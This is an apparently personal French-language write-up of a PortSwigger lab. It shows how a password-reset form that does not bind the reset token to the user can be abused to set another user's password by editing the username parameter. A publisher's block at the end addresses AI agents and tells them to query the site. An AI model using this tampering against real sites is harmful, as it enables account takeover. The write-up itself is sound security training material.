> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/authentication/flawed-password-reset-logic.md).

# Logique défaillante dans la réinitialisation du mot de passe

### Logique défaillante de réinitialisation du mot de passe

Le laboratoire présente une vulnérabilité dans le mécanisme de réinitialisation du mot de passe. L'objectif est de réinitialiser le mot de passe de **Carlos** puis d'accéder à sa page Mon compte. / Identifiant fourni :

* **wiener:peter**
* Nom de la victime : **carlos**

### Analyse et étapes

#### 1. Fonction Mot de passe oublié

L'application propose une fonctionnalité de récupération via Mot de passe oublié.

<figure><img src="/files/3384168f1a9aa30bbe6c1e0888e3436fb29f77c4" alt="" width="436"><figcaption></figcaption></figure>

Depuis cette section, il est possible de modifier l'adresse e-mail associée au compte

<figure><img src="/files/24470546c1dd7c420dc09635dd846e73ec655af2" alt="" width="563"><figcaption></figcaption></figure>

#### 2. Réception de l'e-mail de réinitialisation

<figure><img src="/files/36eedddeae1d78cf1e04b0be558034e34ef8cb76" alt=""><figcaption></figcaption></figure>

Une fois l'e-mail modifié, un message contenant un lien de réinitialisation est envoyé. / L'e-mail contient un jeton temporaire **jeton** dans l'URL :

```http
Envoyé :     2025-12-09 19:42:17 +0000
De :     "Pas de réponse" <no-reply@0ae200710383c04f868b0866005e0000.web-security-academy.net>
À :       wiener@exploit-0a46000003d9c0a086ee072901710023.exploit-server.net
Objet :  Récupération du compte

Bonjour !

Veuillez suivre le lien ci-dessous pour réinitialiser votre mot de passe.

https://0ae200710383c04f868b0866005e0000.web-security-academy.net/forgot-password?temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj

Merci,
Équipe d'assistance
```

#### 3. Soumission du formulaire

En accédant à ce lien, l'application demande de saisir un nouveau mot de passe. / Les paramètres envoyés sont similaires à :

```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=wiener
new-password-1=test
new-password-2=test
```

<figure><img src="/files/9d64e2fe5ae98b2507ded509fd21b1d6706ee9a9" alt=""><figcaption></figcaption></figure>

#### 4. Exploitation de la logique défectueuse

Le serveur ne vérifie pas **pas** que le jeton corresponde réellement à l'utilisateur mentionné dans la requête. / Remplacez simplement le champ **username=wiener** par **username=carlos**:

```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=carlos
new-password-1=test
new-password-2=test
```

L'application accepte la requête, ce qui permet de définir un nouveau mot de passe pour Carlos.

<figure><img src="/files/21ee64642f59a6cd4b45642bb8245d3cb236038b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/authentication/flawed-password-reset-logic.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
